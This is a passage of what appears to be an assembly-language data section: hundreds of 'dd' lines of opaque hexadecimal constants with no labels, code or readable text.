997CE506h, 7F8590Ah, 54D00E05h dd 66CC809Ch, 1F07ADE6h, 84CA520h, 56506DA7h, 1625E07Eh dd 2752E5h, 82991389h, 0AD002653h, 88B1C5B0h, 2293CDh dd 2D980DA9h, 12736AA8h, 2C118700h, 6307B2A4h, 9D41C0DDh dd 0EDA0C52Fh, 31ACB707h, 0E8F03962h, 1E34F752h, 0FA133349h dd 3ACEDCACh, 6CE37380h, 0A2A3B211h, 0EF50DF00h, 255B7633h dd 55F6C9h, 4743D8EBh, 0DDAE5D29h, 0C0D70E00h, 0ED3CB968h dd 0C9800091h, 701AC56Ch, 0A2C0D21Ch, 0EAB9357Ah, 8F816h dd 1DAE026Fh, 450609A2h, 0DE320103h, 9DCEF56Ch, 5D9AC3C0h dd 1AC0C011h, 0D5369DAEh, 9730BB00h, 0B6CF19F0h, 92810118h dd 68D84372h, 25BC53EEh, 7E5A6DC8h, 5819A50Eh, 0C423A00Bh dd 1DED04B1h, 0C0466E8Bh, 0E7FD65D6h, 3CFA8898h, 0A3393Dh dd 0D312FE3Bh, 736B090Eh, 0E5D50051h, 7DD22D5Ch, 3D00B4A1h dd 410EAEF9h, 0A9230Fh, 7C932A8Fh, 0EF7FDC81h, 4A740800h dd 55274753h, 987000B1h, 5E195A4h, 0CC18FF23h, 46A83FE2h dd 9F890040h, 262E3A4Ah, 4C00FE78h, 9DF809CFh, 1CB32313h dd 409F6C1Fh, 1A2D75DAh, 0D9037394h, 0A461EEBCh, 36B1C89Eh dd 0C43100AEh, 0B9809A97h, 7400BE0Eh, 9281EC7h, 758813h dd 46249BF6h, 0F8227184h, 418ACF01h, 0CD64A5B5h, 481CE1FCh dd 760AEC29h, 0AC693Ah, 0A6B9BAF9h, 8B001B9Bh, 0C7709D54h dd 7831EA2Ah, 3FE500A9h, 2FF23789h, 46508A43h, 64005AC0h dd 490F72BCh, 1D8B130Bh, 0C03A591Ch, 0E15675B3h, 1603B5D8h dd 17FD461Bh, 0D72817A2h, 50CF0078h, 44E1122Bh, 0AA662D00h dd 5E36792Eh, 0CD090E9Ch, 42E0DFB5h, 92EDF90Fh, 52A8EC60h dd 6710E0h, 35A50CB6h, 5E1374AEh, 7551600h, 6D1CB032h dd 3FFB0F68h, 0BFD745C7h, 2AD8A307h, 14064420h, 99B86Ch dd 24FBCC38h, 0B1FAB715h, 0DF366000h, 39681FA4h, 5570025h dd 8EA3426Bh, 3F002E88h, 0F074B182h, 7FE9D4E2h, 9C6700EBh dd 0E8BB02B7h, 6A00A3ACh, 85972A6Fh, 455C20h, 0D081AE39h dd 8FB6E1F2h, 0C0B3F803h, 633F78h, 32C8FD28h, 7F5054BEh dd 8375DB00h, 45E1C81h, 0D57D4Eh, 213ACBA0h, 0E5FB6BB4h dd 0D25AE40Ah, 1580C072h, 24C310E2h, 83EC68h, 892AA7ACh dd 0FFD470E4h, 0DBEA7901h, 20CDDE19h, 24030530h, 0B447BCh dd 93630F7Dh, 0B60F51C2h, 6168C532h, 0E297E4B0h, 0FFC7EECh dd 309BF075h, 5E4250C1h, 3B9EE076h, 21A29500h, 27647CFCh dd 0F3DE0335h, 0FEB64DACh, 94E3990h, 737C1748h, 7618820Eh dd 0A0F884EAh, 0D3BE0080h, 4C5049FFh, 0B5531106h, 0A71494FBh dd 0F4ED0Ah, 4EAB2209h, 1B26CCFh, 35A672E3h, 61BF0138h dd 0BCDD858h, 19657401h, 0BBDDFDA4h, 0DB519Dh, 18CC9ED1h dd 8C7FF301h, 29987B70h, 781A2612h, 19BCC842h, 7EDC19Eh dd 0D83530h, 743CD98Bh, 3A78A6BDh, 0C6578000h, 11EA656Fh dd 1D97287Dh, 4CF0BDB4h, 8D5AFB00h, 0BDC3AA46h, 782C0048h dd 8754CC09h, 4B0E589Eh, 406E5BDFh, 0FB46201h, 1C61EA76h dd 3E7511h, 455FA637h, 0DE009A16h, 0F365541Fh, 0F475A53Ah dd 28020069h, 0E80B46DDh, 66078E95h, 0F7DCE931h, 0F62B7Fh dd 0FE419F8Ah, 0E1D10AB2h, 0E08303h, 1BEC13BDh, 9324C29Eh dd 0D3003452h, 9FA8C4EAh, 4F5B0C08h, 3818567Ah, 0FD5C300h dd 52213258h, 36330428h, 80B05E05h, 0DEBDFBE4h, 50826700h dd 7095BB84h, 0E73000B7h, 80BC16FCh, 0B9001EA7h, 2CB1B26h dd 29E61Ah, 34A32DA4h, 0ADF0DB3Ah, 4D9E6300h, 392426F1h dd 0EAB80072h, 2178F657h, 3F00964Eh, 5BFE8DDCh, 342D38h dd 92E1C20Fh, 0FDBAB754h, 477B3712h, 0D31E7800h, 169E558Ah dd 641083h, 0D5FB3FA5h, 5400BF61h, 0A8C011D6h, 0F4FBEB3h dd 1A2BF5E6h, 90A576B8h, 0CD3D6200h, 0D530A961h, 0F4513E59h dd 9F19DF9Dh, 0FC434069h, 288B0FA2h, 8E9A3F39h, 60F54145h dd 92F41677h, 123CB242h, 1E90601Fh, 1BA50324h, 7FC37967h dd 370545A8h, 10D2C528h, 100F173Ah, 16338079h, 0F7A37C28h dd 940B83B0h, 72EF9580h, 0B0100C9Fh, 2208ED87h, 0DD667500h dd 45350DE3h, 7F850468h, 0C046679Dh, 4D63BD1Fh, 89606A00h dd 790D055Eh, 590F0238h, 9FD096A3h, 80251469h, 506EF270h dd 0EA9A054Eh, 2829CF5Ah, 0B9C53602h, 435658A0h, 71105879h dd 181FAC1Bh, 0AF21F916h, 0F020F390h, 42458D00h, 1C23471Fh dd 463000DDh, 0CB43918Ah, 9800339Bh, 0DCD3826Ch, 0E983A7h dd 0D73C8867h, 0DFAE4226h, 70129200h, 680B8B25h, 6A5B067Ah dd 0C0415AE5h, 0E0DE7805h, 1980CE30h, 0E242B391h, 58A4008Eh dd 906E568Ah, 9C003A99h, 0B833B443h, 391138EDh, 0A89E8C42h dd 0F7D440B1h, 7ABD713Ah, 0A31D3C00h, 0AF5D8897h, 33239A7h dd 84504AACh, 0D27FAD4Ch dd 37C0BF44h, 6E02C3CAh, 7B46075Ch, 1E0C603Ch, 13622C60h dd 55D3824Ch, 34443B17h, 14994Ch, 0D19310F9h, 4DBFF4h dd 4C7B5CF0h, 228BD0F7h, 0B281CF00h, 66A1DE9Ch, 9D981CE8h dd 0CC33802Ch, 6A4C9E0Dh, 0A08590CEh, 531F8B7Eh, 0C56D00D4h dd 523E3CF3h, 2F1FCA44h, 6AC0A037h, 322C1571h, 314C2E1Dh dd 12A0058h, 197BF91Ah, 0F8EA4F00h, 0DBE257B6h, 2660003Ah dd 2FB29F25h, 6677FDCCh, 2C64C101h, 764E0A8Ah, 609BD880h dd 0E4B735B9h, 17F40902h, 0E03DEC4Fh, 90957CCCh, 32B93A18h dd 1F180A01h, 9EB31DA8h, 0DD00A1B0h, 20A922ABh, 56D20117h dd 2BDA0B94h, 209C2909h, 6A54062Eh, 318FCEDBh, 0C86B4F06h dd 5448E746h, 7B3CC73h, 0E316F85Ch, 0CE60509Dh, 0E9B8A8FDh dd 63892001h, 79B84803h, 28FCCBE4h, 24BD28A5h, 40FC8424h dd 0B3105650h, 8395261Eh, 132567C5h, 59531C90h, 9A78134Ch dd 0FCE00CD5h, 6C163C19h, 0AA004995h, 36B6CEF1h, 3EB300D6h dd 0E5F01FF4h, 7703F2A0h, 2115BB06h, 3DFD98A1h, 9D493A12h dd 0DA29E280h, 247E425Ah, 0F3704475h, 0E5C29903h, 0E01E0B88h dd 0E63CD15h, 6271E6B3h, 2B40564Fh, 826D4D0Ah, 1A3A6505h dd 92805FA1h, 0FEA3026Eh, 61E4044Ch, 80BA299Ah, 0E8B8D620h dd 0DCFDDB2Ah, 0E702CC00h, 0F62D932Ah, 0AD771FBFh, 80869E8Eh dd 802C56B3h, 0CA003DF3h, 0FB9730B4h, 0E3196866h, 5D94097h dd 92F66F1Ch, 0AD80E8E4h, 60ED2E7Eh, 0A0C8B350h, 84FD3E00h dd 0CF3D36C9h, 5F71F67h, 72C08004h, 0CE6EAC11h, 0AA1ABC02h dd 4075C1C4h, 0F783EE0h, 38BD1F0Ch, 500B805Fh, 207BCA95h dd 1E6E9B02h, 0E057A272h, 1C1F0488h, 87D0E5EDh, 60598D50h dd 23760B78h, 0E08BC938h, 0C1A0AA88h, 0EEF513CFh, 8C341085h dd 54FBDF81h, 159C400Ch, 3400D8A7h, 0CF869383h, 76616Ah dd 2BD92216h, 0ACA7EB0Bh, 1AB6AB03h, 0D9DD6B40h, 54247F65h dd 0DC200D2h, 0A92A703Ch, 9B1831DAh, 15F0F58Bh, 0C2C60135h dd 6F224FA6h, 0EF6120CAh, 35C7949h, 44818AB9h, 0C0E98087h dd 75510006h, 9239EEB8h, 46029D23h, 0ABAFC374h, 103C68D0h dd 0B9500011h, 9F0A53Eh, 5A0004ACh, 4AC5D330h, 1C14F8Ch dd 0EC200669h, 0C85D1B13h, 254A4CD9h, 0FBDBFC70h, 237036Eh dd 0E252B5A4h, 758E4A90h, 51994400h, 973F6F9Eh, 0AD59FAh dd 0F5C71Ch, 0B3051AFBh, 0CC00EEC9h, 0B5D088CDh, 0C580FFh dd 0C7DEA52Ch, 400CC8E7h, 258A1C00h, 0B229FA62h, 0D7718ABh dd 1A4CC8A8h, 0DD064E00h, 0E04F99D1h, 560B1EAEh, 4D490F68h dd 4B77D063h, 298BDBE0h, 21A30C00h, 93574526h, 0B55A009Dh dd 0A1313C17h, 75009676h, 0DF1E2B98h, 3A8B83Ah, 6A19D3C2h dd 0EDE87BA2h, 31E6D43h, 0CB00699Ch, 0B260C8F4h, 77C500E3h dd 95DAFA9Fh, 0B3E00173h, 44888E0Eh, 0C9B784E2h, 0B8825F80h dd 3247A0Bh, 307EB3B6h, 2800B061h, 0E04112A1h, 0BEFED23h dd 0A60257F2h, 86623A80h, 0E5384A1Dh, 60918036h, 0CA417F3Dh dd 76560001h, 0C57DAF02h, 7009EA1h, 61C38E87h, 4DCD6ED4h dd 7728480h, 7CB551C8h, 62C15018h, 6800E6C7h, 0A09B98DAh dd 9FBCECh, 2DF9743Bh, 0E967B497h, 3CD91124h, 1C200069h dd 7A0860h, 0A71F7D3Dh, 0F0617552h, 0CE2C7018h, 0B056E3C8h dd 48E469C4h, 5C2FE982h, 0D4E63440h, 0CCD0FD1Eh, 0BE001556h dd 6F97DB43h, 0BBA607FAh, 86E49063h, 57044835h, 785BB3B9h dd 0AABA9091h, 0B27405E8h, 2D70088h, 0EAD8CF72h, 8602E854h dd 8AC8854Eh, 2C4C4831h, 0F8644DABh, 0B73CA430h, 4EEA510h dd 62009C92h, 54D6D812h, 9F0291h, 0BB6E05CCh, 4437CBBEh dd 4C333403h, 1D31BD8Bh, 0CC6C7330h, 8211C22Fh, 0E6FEB9F6h dd 0B684BC04h, 2C80D427h, 0D9DD9CFh, 0E0F9A414h, 5E3CE080h dd 5B82C007h, 65D2D59Ch, 0E34E4EBh, 0B6FAF3F0h, 0BF784A16h dd 6A500D0h, 0C0132F4Bh, 4319B900h, 0E3B04122h, 268525F0h dd 0B2E1CA0h, 0A81DDC7Ch, 263D8625h, 0FE00A403h, 0F307B86Fh dd 6CBB001Eh, 6DEF5E15h, 70E95A5Bh, 0D80125C0h, 2C95F71Ah dd 4EE52993h, 18B933C4h, 688AC262h, 0E34855FDh, 812B017Ch dd 787FCAF4h, 704648E0h, 652127CFh, 3E07C8Eh, 0E0C70A72h dd 0A796F500h, 60D8F3ECh, 0C47F0EDDh, 0A9E08CBFh, 38F15F9Ch dd 0B8841400h, 1792476Bh, 85FC0654h, 0C1B57287h, 0BECDD007h dd 7CA0A373h, 6DA9B28h, 4A101CCEh, 0E4003AB3h, 0DC5AF1CDh dd 81B535h, 5CA0FDAAh, 0A174591h, 67F2100h, 713234DAh dd 0EB576E7h, 0B80D8515h, 74BA8120h, 0B100C864h, 91BBCF95h dd 3CB7C9Eh, 89AD0722h, 0E4E8EE48h, 0D60E04FDh, 20B657CCh dd 1139D0FFh, 0DD2438A6h, 1D876500h, 97C699BFh, 6F1E503h dd 88EBADF9h, 20E90Eh, 0E07E2B9Ah, 11970F87h, 26D95C00h dd 0E6B5EA52h, 39F1007Fh, 126475B1h, 0A0000729h, 0CB8A5357h dd 0B81D6Fh, 1FDD1E63h, 0C9F0A450h, 44A5AA00h, 90313D5Fh dd 0E07A0348h, 186906D7h, 8D74D9D0h, 5C00537Fh, 75EA93C8h dd 0BD7639h, 4E99AA8Ch, 0AF60CB3Fh, 0AC5C3670h, 94180092h dd 0BA0A2CDDh, 23E200EBh, 59DCD608h, 0C10028EAh, 0CA073350h dd 57066Bh, 2D166D8h, 85D7C769h, 27CB5100h, 0D3AABDFAh dd 0CADA004Eh, 5BA24AF3h, 323187AFh, 0C744A1CBh, 0A5911C40h dd 31B70AAh, 112FAB85h, 0FFE3C6B7h, 57061878h, 0FDD1E0B2h dd 0C2521F20h, 27A18C6Dh, 220E4C40h, 9FD4448Dh, 0CA065030h dd 2AC0161h, 0AFF3E2D8h, 70198171h, 0C80F4D4Ch, 142304CCh dd 449443CAh, 1206167h, 50914454h, 4ECB346Ch, 0F38D1A01h dd 4C7914ACh, 5837EF0h, 0D1D43558h, 95DF0CA2h, 340005A8h dd 0B559B84Eh, 0EAFC5Ah, 8CE26857h, 4DF99B82h, 7B10500h dd 4072D07Eh, 2060005Dh, 70F30AFCh, 0E4008E48h, 0C74E1054h dd 0B7D09Ah, 0B945DF46h, 15F0225Eh, 123E7400h, 30833965h dd 3A6F0F0Bh, 0BBE0B1E6h, 6ADCFC25h, 73092A00h, 5161D7FDh dd 0A7BCA8E2h, 0CAC50A36h, 7983C5Bh, 46231444h, 1FE421ACh dd 0F35C607h, 0CEB72F9Fh, 84417DD5h, 15169B62h, 2785C8h dd 907130CCh, 0A9B0FB4Ch, 0D810CE00h, 72117D2Fh, 2418C4C9h dd 483203C4h, 0DF06A4D1h, 2D065063h, 0D37E9F06h, 5CF7F078h dd 673FA4Ch, 54CB8D52h, 0E1600842h, 2E551521h, 0ED8903EBh dd 1E1137D6h, 838E5006h, 0C968C6B8h, 200906A9h, 116EDD86h dd 92EE8900h, 0F3D2D859h, 0AF01D02h, 218518F4h, 930015B2h dd 278226A9h, 85463E8h, 0E051C060h, 83876900h, 665A47h dd 7AF3D038h, 0C65328E2h, 0CFE2400h, 7311DC1Ch, 0A1A14EEh dd 0DE85B8F0h, 94C0357h, 1907C6EFh, 7627814Eh, 0C05CD183h dd 0C105B014h, 0A1C82629h, 4103611Ch, 98AD87A4h, 47210F08h dd 1A100A0h, 9E412435h, 58146ACAh, 408807B5h, 0FC8CA3ACh dd 4CF13F2Eh, 0EF822C6h, 872E6111h, 0DFA54C42h, 0AAE8D940h dd 69B0825Ah, 24D8D4DDh, 0C3E4F903h, 5AC11205h, 423DF498h dd 4A0E2900h, 1A3BDFD4h, 0EB9100FCh, 0C67D79FDh, 12B8EEC4h dd 0CF66000h, 56AE0817h, 617647h, 6312DA15h, 2AD5ADE8h dd 6631DC00h, 2C0706CDh, 0FFEB00D8h, 0B92B2868h, 0E00CAA5h dd 0AAE195D5h, 2FAD79h, 0CDCEFA43h, 2815E836h, 0B187CA03h dd 0EB2D4CECh, 97FDB002h, 0B3AC00A3h, 0F3DA6A82h, 0BC00C1B0h dd 0C3E33816h, 3943A98Bh dd 0E5004828h, 62CDB24Ah, 1A0029F9h, 9B578752h, 54C637h dd 91E503B8h, 8D4BF20h, 1F002F7Ch, 331183DCh, 97BC953h dd 6BD8DF7Dh, 5E1CA183h, 95DC8B8h, 0E0DA000h, 36753590h dd 0AE0A5078h, 9F371E28h, 8BE1C3BBh, 61F0D41Dh, 560122F4h dd 8D41977Ah, 91E002C5h, 0DBD7005Bh, 3EC79450h, 0C900B2C0h dd 0ADD8E93Fh, 1E04613h, 0FC19E87Bh, 7A2DBCC2h, 6C9A43C0h dd 0C1520132h, 80D9ED69h, 2B15D824h, 54353Dh, 0C514DB91h dd 0FADF1A64h, 0CA7D0E0Eh, 0D500B0E8h, 0CD4F6BA8h, 46592F16h dd 0A084900Eh, 577A1708h, 0AF620056h, 0E904867Bh, 8E00F4ECh dd 79B1039Fh, 0DCC8D3h, 0ABDE90B7h, 110694E6h, 1A00FA7Ah dd 92E54BCAh, 22999Dh, 0D57BB148h, 0CC9308E0h, 0ACE9BE00h dd 63F75254h, 348E0CD9h, 36904277h, 6BB5F200h, 826AC0A8h dd 2C0F03E7h, 0B61BEDC6h, 9A00E07Bh, 537902C9h, 0BE5379Eh dd 563310F2h, 64721F80h, 1D741F8Ch, 67DBAC02h, 80650F83h dd 7A2CDFDDh, 7A92786Bh, 6CB004Bh, 478722CFh, 87FFB669h dd 0D2F97560h, 662AE600h, 0C6371BBh, 2D0D1894h, 0E3027D20h dd 0E143A5C0h, 82AE080h, 18637BD5h, 68C8F1D3h, 0BE003F50h dd 8CA1CFA8h, 8F0A5Ah, 3C0CC5E1h, 8A3D6A3Eh, 41395600h dd 805F64B4h, 0FC6D0083h, 3C7CB1DEh, 2C00B5A1h, 0B689F33Eh dd 30BD0B94h, 49800609h, 4AF6F63Dh, 6C693E00h, 0A7403151h dd 0E87084h, 7E0FB3E1h, 0F5EAD93Fh, 80B80C39h, 0C84353F4h dd 3A79105h, 7F4D72DBh, 701EAF8Ah, 558097CAh, 6D5D66C7h dd 0F1800022h, 0A51CE00Dh, 471493BDh, 0D03F74h, 4DB2EF33h dd 0C13195Ah, 3118CF0Ch, 93DEE49h, 0EB3380Ah, 0FD7342Dh dd 9F3180EFh, 0DB2137h, 12610D58h, 0E2BFDC99h, 39CC8554h dd 4C00B1DDh, 267D412Fh, 40011E27h, 0DF20325h, 4888C974h dd 0E8008539h, 909BA908h, 3BB76A57h, 0C3898CD9h, 9800CDB4h dd 0DD918409h, 6BDF1C00h, 3A444FCAh, 0FBE304ABh, 83DEA649h dd 75E84890h, 9678FC02h, 0B0F1DF1Eh, 81BFC7C5h, 237FB401h dd 86E8DEECh, 0B3D81206h, 133807A1h, 0F47ABCh, 2EAFB5E8h dd 2F9892D5h, 0AD38FB7Dh, 8CD28057h, 3794E72Ch, 0CB160012h dd 0E9E6E4C3h, 42EA4FE0h, 0A8491128h, 29445000h, 7C38C632h dd 0C2280E9Bh, 9FE170BDh, 802D2A77h, 7E1B6AF0h, 79DCF1h dd 0DEEA6E6Bh, 0AFAB3EF7h, 40218101h, 0EDA394CBh, 1332C440h dd 0E8D9019Ah, 73E36401h, 764C22EFh, 41AC9D00h, 916C7CB2h dd 0FD8F0066h, 0CF79AD16h, 0A13F07D9h, 741B03A4h, 80016811h dd 78656ED6h, 0BFD700D0h, 0A7B376A8h, 5A053E4Ch, 0E8D1A695h dd 2A717AC0h, 0C87D89h, 3AC09C0Fh, 0CD0B3D06h, 0A8904BEAh dd 5E926700h, 8237F48Fh, 950903DAh, 0A5D791F3h, 60B6E4E8h dd 4000FEE2h, 86D001FFh, 94DF95h, 0EFDE5629h, 2F96D793h dd 55913800h, 25A117FAh, 0BC821EA8h, 0BB4A8059h, 0A718698Fh dd 87C93D3Eh, 0CB8E081Ah, 48968B0h, 9F5E3911h, 9323CF05h dd 4D458064h, 90A0C690h, 9F629EAh, 9F2B5400h, 89F61292h dd 56A400F7h, 3D080A7h, 0F17EC2FFh, 60E1A82Ch, 4134CA07h dd 86407F87h, 739961C7h, 14810072h, 4CAC3E37h, 412627BEh dd 0B100482Eh, 13AA3D20h, 1EFC86h, 90FFDE2Bh, 0DBEE25FDh dd 8FEF1FCh, 9005AF8h, 6FD04EB3h, 0EF43132h, 0AE046B2Ch dd 31FB0806h, 13DE3A00h, 1FD9B4C0h, 0E7CD037Fh, 21B969FAh dd 0EC782002h, 0C2AA7B41h, 4139C25Ch, 0F5FCBADCh, 1C934CA5h dd 0FD71E500h, 708BC76Ah, 768FB704h, 0EC931F7Eh, 6EF2C069h dd 0E490310h, 31FBF03Dh, 83AAF8F9h, 0C49AEA41h, 943101D4h dd 0D3A29E59h, 200FDB2Eh, 83FB2704h, 0EBF3CDC3h, 0E276B8C5h dd 3CB8000Fh, 12589BDDh, 31C32565h, 984B51C5h, 331440C2h dd 0E64FE70h, 0D2346109h, 0E048A020h, 12441B53h, 40A8E535h dd 0DCB5C6CCh, 7D02B165h, 5E83A066h, 41DC830Ch, 0B9C3A0ACh dd 9DA31F09h, 1E89C0E8h, 0AEFAF5FBh, 76F64600h, 7E964118h dd 8B570117h, 0ABF7EE4Fh, 0F82EE890h, 5C25501Dh, 9CDA8180h dd 0B567C4h, 880FD033h, 0AB7820B2h, 7FD17440h, 0BB756Eh dd 0DC1D07F9h, 41E5620Fh, 8090D37Dh, 1201B07Eh, 0E31B9917h dd 1A2048B5h, 50A2177Ah, 3F23010Ah, 609A4329h, 450ECEB8h dd 0CF4477h, 7F5BB5DEh, 12DBF4DCh, 0A71BD5h, 0B688E02Ah dd 0A83F6F0Dh, 67D980C1h, 0F14E1CDBh, 0E7D50F49h, 0ECC1A030h dd 0F824C599h, 53019D61h, 714DCE2Fh, 50BD4622h, 1DE0F7h dd 0F29C0950h, 9DBC49CCh, 0E87F9A00h, 5A0D2A5Dh, 4D880024h dd 0D79CD4EEh, 0C000EFC9h, 9FF338E4h, 1785507Ah, 535E48h dd 6C731823h, 17008608h, 77CC4D36h, 23795Ah, 994A2269h dd 0F2117F1Ch, 0D80703E2h, 7E180561h, 0A5DBB730h, 0B651030Ah dd 0D7DA4CE4h, 9A0FA0F8h, 9E2A5A03h, 0E85B07D6h, 77B60C49h dd 0B8BA0064h, 6C2324FCh, 7A05EC65h, 0A928FA90h, 48E6BF1Dh dd 19CB3700h, 1D458B4h, 0C06D7244h, 811D026h, 0CC100ADh dd 0D5ECFE08h, 760E163Bh, 4FC6FDC5h, 492A8184h, 89CCADFAh dd 0CA300E0Bh, 8563A213h, 76C01E16h, 0EF48A16Fh, 29CC001Bh dd 9A06FB10h, 0FC4BEEB6h, 26492F6Ch, 0DA01F6FEh, 95A7D92Eh dd 0E56448D6h, 0F9E839h, 0D5A3DD32h, 0ECDCE647h, 0D1CFA400h dd 0E9977927h, 7DD2003Fh, 8BF03584h, 0AA0B4C26h, 2086546Dh dd 23DCB60Ch, 466A036Eh, 0B7198069h, 570891CDh, 476E478h dd 747CBD7Bh, 0BAE861B0h, 0DB3E4518h, 0FBD25C89h, 5F1E30BCh dd 5E244750h, 66C6DE78h, 5D301889h, 0C2F61070h, 53DA3001h dd 7F9D5720h, 0DCD45A1Ch, 5BFC7C03h, 0E670E780h, 0C0F0A4C8h dd 99867189h, 1B742660h, 9AA906BDh, 5010011h, 7B4FC819h dd 402D5C1Eh, 7C6D6DBh, 0E57F692Dh, 9F684F9Eh, 10C7624h dd 10C101D4h, 350AFF0h, 72F5B9FBh, 17A82F1Fh, 803F555Bh dd 0DBB06094h, 0B8DE3Ch, 111EDDA8h, 24E26610h, 0D499C500h dd 0E0730F05h, 0E6260516h, 0C0874BF6h, 0CE5668E2h, 0D29E100h dd 6920FA14h, 0E33C004Dh, 3D9DBD24h, 0F138F6BBh, 0A8C38015h dd 1E9A27EEh, 0A9AC5049h, 2C1F0734h, 40F6E414h, 7F8C6A92h dd 33F95900h, 813850B1h, 4DC9A8Ah, 216ED0DCh, 7D3E80A4h dd 65007A76h, 8F9F5D39h, 393B3C31h, 918E873Ah, 9D424A19h dd 8C80EB1Ah, 57E97058h, 11B06C30h, 47636Fh, 0D027463Ah dd 5F68C7EDh, 0B369EB02h, 0A0DA6EEEh, 0C66C83F8h, 0CF50C7C0h dd 0F89F0288h, 24805D42h, 128AA4E5h, 0C27C7103h, 0E0088DB1h dd 0E0E8E7h, 4C580BB8h, 0D7F974B5h, 28DE0424h, 5C298D81h dd 8087DC21h, 77686D26h, 0C8793083h, 0C8C0DF12h, 98E0AAB0h dd 59340029h, 0D452B7EEh, 303B213h, 46F990Ch, 952CE086h dd 30A600DEh, 0AEE76102h, 0EC012535h, 0C0D896ACh, 0A7F010D6h dd 6F363330h, 1A41120h, 0AD150508h, 0F0C1080h, 49287992h dd 3A93533Ch, 0F844070Ah, 0E16103B1h, 7087EAECh, 7D947309h dd 5A688618h, 5072A9h, 0EE424F11h, 51400C47h, 2FF40519h dd 21805B08h, 0C6EE3A2Dh, 610349FFh, 5F1542EDh, 58486381h dd 0E0025A74h, 9592AC0Ah, 5C7A6031h, 96C400EBh, 1BCC6C8Dh dd 0A000696Ah, 0AF02F53Dh, 1CE98A34h, 0C0A1D003h, 5E64C24Bh dd 1B00310Eh, 0B349BA6Dh, 7A4E8B5h, 1D371587h, 31A9C0C1h dd 3B014B22h, 5C065DBFh dd 3EC8B1Ah, 3C7BE458h, 7C4F18h, 2C46D259h, 1E4C8794h dd 701FAE0Fh, 80C109D5h, 0B9970C03h, 8C5D001Bh, 0A1FBBA38h dd 2B0FFE84h, 455B77h, 1814BE6Dh, 7C0300A3h, 0DDDB86BCh dd 0E900EFE2h, 0A67FCB96h, 2CEDA4h, 36B7282Dh, 2AE60B5Ah dd 2FC63301h, 0F56304C4h, 0F07EA60h, 0A2925EB6h, 0CA169E0h dd 470084E8h, 0DBE74638h, 0F275C5h, 0CDE0B0C2h, 5D0735ADh dd 3117D40Fh, 0EDD380FAh, 9ADA45h, 0A2F947DEh, 16B6BE28h dd 5F77D8C0h, 45CB9Eh, 203746B0h, 9A1EE6B8h, 0EF0097F2h dd 0E5791DDh, 77D02Fh, 1FF38A38h, 0B9CD6653h, 90B1BD2Ah dd 0BB57ED00h, 790DAC23h, 146500F9h, 1ABEEA49h, 2F141171h dd 1DCD58Dh, 64563CF3h, 65F4B7C3h, 0A4B100FAh, 764BE4BBh dd 7C0267FCh, 0D8C4D399h, 68EAE1D9h, 98A0E0h, 79E6C1Ch dd 8D74C665h, 0D4EF58h, 2AB84184h, 5F8EEDh, 1A9E4EF5h dd 7E4DC9B7h, 0F4F95000h, 7B16B804h, 58596112h, 205D344Eh dd 0C8283895h, 750ED217h, 0C19201FEh, 0FBCFDDD6h, 0FAB0F4F4h dd 0D97C0Ah, 6DF8FF9Bh, 0A68F1CB2h, 2F012300h, 0AC248237h dd 0CCAB00ECh, 0F92E5A4h, 293DD16Dh, 22F0862Eh, 33F8AF1Fh dd 0E87044DAh, 7E0DB198h, 90F70B30h, 6A3553h, 1499CB91h dd 0C72A6B7Ch, 0F002A300h, 0CAE31858h, 6AA00028h, 0D9260EE2h dd 1F003BB0h, 1E7BCA6h, 7AF1F2h, 461D8653h, 0CB2CB966h dd 5B28D300h, 6CB8EBDDh, 0E2B100C4h, 36692248h, 0D205DFB6h dd 92C5B21Bh, 94E4D002h, 974B0037h, 0FC007EB7h, 3CB144F1h dd 0EE965Bh, 5AE4362Bh, 2999086Eh, 0ED2F771Eh, 0F64100BFh dd 1B886A13h, 0D16C0004h, 0CE25F553h, 0B63E5FD0h, 99418710h dd 0BFF2C527h, 0F4644061h, 0C9B1004Ch, 22F10180h, 8B501B8Fh dd 0F938D494h, 7EAB8007h, 0B41FC34Bh, 90CAB074h, 0B9F500B9h dd 0DC11C948h, 9C00DDE7h, 55338105h, 0BBC363h, 0C2D68826h dd 87A93A06h, 1A301101h, 0C5F57674h, 263143C5h, 4F8EFCh dd 0FC0AC2DFh, 0B1D147A5h, 98084100h, 0CAB2C604h, 3B75009Ah dd 4C7672ADh, 0BD0FBCCEh, 24DB13D3h, 7D805DE7h, 95FF87h dd 0C845F2E3h, 5688B263h, 0B000E176h, 0C48A7A62h, 0B3D2D1h dd 50D96FDEh, 0E2BDA931h, 8E7F3700h, 0BB8978B6h, 235B00D6h dd 0C6F3E6C9h, 970094BEh, 0C832ED77h, 140CD9B2h, 908E101Dh dd 7229EE07h, 501C07B9h, 0C98F2C5Fh, 2220AB01h, 609CD03Ch dd 44B8ECh, 0D7BEC82Dh, 0AEFF1B50h, 0F79BE300h, 39069411h dd 76CC0052h, 4937E7A7h, 0A100247Dh, 2F62BA9h, 0F6135B6Eh dd 0FC7C4981h, 0FEA6F800h, 3D6150EAh, 60CB4514h, 3FA909E4h dd 0DE04A31Dh, 0B280A728h, 95242FDh, 0EC08B5F4h, 818BE825h dd 80B31F07h, 0BEE8811h, 26050D22h, 0AC125Ah, 76F5CE2h dd 149264D7h, 0D2B5850Eh, 67910081h, 3D27DEA5h, 0A7A4BC72h dd 31B083ACh, 8080E686h, 660524DBh, 0CCEE54A2h, 27AD9431h dd 0AFC04D02h, 42033E8Ch, 0F9BE8422h, 6436F91Fh, 0E2ABFAD0h dd 0B0E80AF8h, 9417F3h, 7AA77F16h, 0AD00E3C3h, 0A629597Eh dd 0B40C09h, 2C64FB32h, 0D96D3C6Fh, 0ACBBC800h, 4AE8B7D5h dd 6743001Bh, 352E9F7Eh, 0B47F21A9h, 3BA7460Bh, 1620000Dh dd 0EFB743h, 7E2DC59Fh, 10802A5Ah, 0C00C9A00h, 0E233B5CDh dd 587101E6h, 15C949E9h, 7F8FD0EDh, 9DB0C03h, 0E839AD2Ch dd 0D2FE44h, 3264209Dh, 3A43625h, 61C6FA0Ah, 1E82B8E2h dd 0A0469E57h, 63B884ACh, 0F932015Eh, 0E7387BA8h, 2EE450EDh dd 41006258h, 30553E1Dh, 3623B7h, 60BFEF75h, 7AC23F91h dd 2A419E00h, 776E628Eh, 0AE3900D7h, 32506F07h, 6A00041Dh dd 9DC9AC21h, 3D31B1E6h, 48834EBBh, 87F25753h, 0F7CC9990h dd 97543E00h, 4112A48Fh, 10AF0FD8h, 21207B01h, 33A176A0h dd 0F83E2C03h, 0E86E1D78h, 905189h, 0FA9825C3h, 14BAB1ADh dd 0A4FBE800h, 760BE8Eh, 977400A5h, 0AFC2C602h, 0C4003842h dd 4D5A2DD4h, 1364C00Bh, 46B403h, 0B248375Ch, 6313C4F0h dd 44437D58h, 0C890B134h, 